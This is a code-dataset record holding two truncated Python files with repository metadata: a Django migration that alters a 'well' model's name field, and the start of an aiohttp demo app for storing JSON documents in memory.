ca46f5b51041f2e84a8b0929fea0766296c1cd5f
365
py
Python
db/migrations/0002_auto_20191223_1142.py
dmitrytk/takkand.pw
162fd5bb0e58c419977e06ce4633177918bd6f61
[ "MIT" ]
null
null
null
db/migrations/0002_auto_20191223_1142.py
dmitrytk/takkand.pw
162fd5bb0e58c419977e06ce4633177918bd6f61
[ "MIT" ]
10
2021-03-18T23:07:30.000Z
2022-03-12T00:13:17.000Z
db/migrations/0002_auto_20191223_1142.py
dmitrytk/takkand.pw
162fd5bb0e58c419977e06ce4633177918bd6f61
[ "MIT" ]
null
null
null
# Generated by Django 3.0 on 2019-12-23 06:42 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('db', '0001_initial'), ] operations = [ migrations.AlterField( model_name='well', name='name', field=models...
19.210526
51
0.578082
274
0.750685
0
0
0
0
0
0
75
0.205479
ca478284b5ab15449bbe9ae4cf72cb8e3dd5e8d8
1,201
py
Python
notes/2020/2020-02-23-python-aiohttp-crud-demo-app/app.py
freininghaus/notes
1db927afaa70eb6e3af4fd4fcdf868275da7131c
[ "MIT" ]
null
null
null
notes/2020/2020-02-23-python-aiohttp-crud-demo-app/app.py
freininghaus/notes
1db927afaa70eb6e3af4fd4fcdf868275da7131c
[ "MIT" ]
null
null
null
notes/2020/2020-02-23-python-aiohttp-crud-demo-app/app.py
freininghaus/notes
1db927afaa70eb6e3af4fd4fcdf868275da7131c
[ "MIT" ]
null
null
null
import json import os from aiohttp import web DATA = {} async def list_keys(request): return web.json_response(sorted(DATA)) async def add_document(request): key = request.match_info["key"] try: document = await request.json() except json.decoder.JSONDecodeError as error: raise web....
22.240741
104
0.653622
0
0
0
0
0
0
806
0.671107
190
0.158201